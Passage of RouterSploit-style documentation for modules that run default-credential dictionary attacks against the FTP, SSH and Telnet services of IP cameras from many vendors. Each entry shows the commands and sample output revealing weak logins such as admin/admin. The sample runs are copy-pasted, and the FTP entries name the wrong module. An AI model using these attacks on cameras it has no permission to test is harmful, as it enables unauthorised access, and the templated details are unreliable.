Verification Steps

Start ./rsf.py
Do: use creds/cameras/grandstream/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/grandstream/telnet_default_creds
rsf (Grandstream Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Grandstream Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Hikvision Ftp Default Creds (`docs/modules/creds/cameras/hikvision/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Hikvision Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/hikvision/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/hikvision/ftp_default_creds
rsf (Hikvision Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Hikvision Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Hikvision Ssh Default Creds (`docs/modules/creds/cameras/hikvision/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Hikvision Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/hikvision/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/hikvision/ssh_default_creds
rsf (Hikvision Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Hikvision Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Hikvision Telnet Default Creds (`docs/modules/creds/cameras/hikvision/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Hikvision Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/hikvision/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/hikvision/telnet_default_creds
rsf (Hikvision Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Hikvision Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Honeywell Ftp Default Creds (`docs/modules/creds/cameras/honeywell/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Honeywell Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/honeywell/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/honeywell/ftp_default_creds
rsf (Honeywell Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Honeywell Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Honeywell Ssh Default Creds (`docs/modules/creds/cameras/honeywell/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Honeywell Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/honeywell/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/honeywell/ssh_default_creds
rsf (Honeywell Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Honeywell Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Honeywell Telnet Default Creds (`docs/modules/creds/cameras/honeywell/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Honeywell Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/honeywell/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/honeywell/telnet_default_creds
rsf (Honeywell Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Honeywell Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Iqinvision Ftp Default Creds (`docs/modules/creds/cameras/iqinvision/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against IQInvision Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/iqinvision/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/iqinvision/ftp_default_creds
rsf (IQInvision Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IQInvision Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Iqinvision Ssh Default Creds (`docs/modules/creds/cameras/iqinvision/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against IQInvision Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/iqinvision/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/iqinvision/ssh_default_creds
rsf (IQInvision Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IQInvision Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Iqinvision Telnet Default Creds (`docs/modules/creds/cameras/iqinvision/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against IQInvision Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/iqinvision/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/iqinvision/telnet_default_creds
rsf (IQInvision Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IQInvision Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Jvc Ftp Default Creds (`docs/modules/creds/cameras/jvc/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against JVC Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/jvc/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/jvc/ftp_default_creds
rsf (JVC Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (JVC Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Jvc Ssh Default Creds (`docs/modules/creds/cameras/jvc/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against JVC Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/jvc/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/jvc/ssh_default_creds
rsf (JVC Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (JVC Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Jvc Telnet Default Creds (`docs/modules/creds/cameras/jvc/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against JVC Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/jvc/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/jvc/telnet_default_creds
rsf (JVC Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (JVC Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Mobotix Ftp Default Creds (`docs/modules/creds/cameras/mobotix/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Mobotix Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/mobotix/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/mobotix/ftp_default_creds
rsf (Mobotix Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mobotix Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Mobotix Ssh Default Creds (`docs/modules/creds/cameras/mobotix/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Mobotix Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/mobotix/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/mobotix/ssh_default_creds
rsf (Mobotix Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mobotix Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Mobotix Telnet Default Creds (`docs/modules/creds/cameras/mobotix/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Mobotix Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/mobotix/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/mobotix/telnet_default_creds
rsf (Mobotix Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mobotix Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Samsung Ftp Default Creds (`docs/modules/creds/cameras/samsung/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Samsung Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/samsung/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/samsung/ftp_default_creds
rsf (Samsung Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Samsung Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Samsung Ssh Default Creds (`docs/modules/creds/cameras/samsung/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Samsung Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/samsung/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/samsung/ssh_default_creds
rsf (Samsung Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Samsung Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Samsung Telnet Default Creds (`docs/modules/creds/cameras/samsung/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Samsung Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/samsung/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/samsung/telnet_default_creds
rsf (Samsung Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Samsung Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Sentry360 Ftp Default Creds (`docs/modules/creds/cameras/sentry360/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Sentry360 Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/sentry360/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/sentry360/ftp_default_creds
rsf (Sentry360 Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Sentry360 Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Sentry360 Ssh Default Creds (`docs/modules/creds/cameras/sentry360/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Sentry360 Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/sentry360/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/sentry360/ssh_default_creds
rsf (Sentry360 Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Sentry360 Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Sentry360 Telnet Default Creds (`docs/modules/creds/cameras/sentry360/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Sentry360 Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/sentry360/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/sentry360/telnet_default_creds
rsf (Sentry360 Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Sentry360 Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Siemens Ftp Default Creds (`docs/modules/creds/cameras/siemens/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Siemens Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/siemens/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/siemens/ftp_default_creds
rsf (Siemens Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Siemens Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Siemens Ssh Default Creds (`docs/modules/creds/cameras/siemens/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Siemens Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/siemens/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/siemens/ssh_default_creds
rsf (Siemens Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Siemens Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Siemens Telnet Default Creds (`docs/modules/creds/cameras/siemens/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Siemens Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/siemens/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/siemens/telnet_default_creds
rsf (Siemens Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Siemens Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Speco Ftp Default Creds (`docs/modules/creds/cameras/speco/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Speco Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/speco/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

